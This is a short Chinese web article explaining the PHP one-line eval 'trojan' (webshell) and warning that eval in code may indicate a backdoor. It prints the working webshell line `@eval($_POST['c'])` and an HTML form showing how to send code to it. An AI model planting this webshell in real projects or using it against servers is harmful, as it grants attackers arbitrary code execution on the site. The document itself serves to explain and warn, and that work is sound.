心情说说-站长资讯-电子资讯 -财经理财-五金资讯 -求职招聘 -人工智能-音乐资讯-养生资讯-时尚资讯 -家居生活-更多

当前位置:首页 >> 站长资讯 >> 正文

php eval函数一句话木马代码

2020-08-12 05:52:20  来源:光速生活网  

eval可以用来执行任何其他php代码,所以对于代码里发现了eval函数一定要小心,可能是木马

就这一句话害死人,这样任何人都可以post任何文件上来,所以要做好防范

<?php @eval($_POST['c']);?>

使用方法也很简单,本地提交文件指向提交文件,里面的php代码就会被执行

<html>

<body>

<form action="a.php" method="post">

<input type="text" name="c" value="phpinfo();">

<input type="submit" value="submit">

</form>

</body>

</html>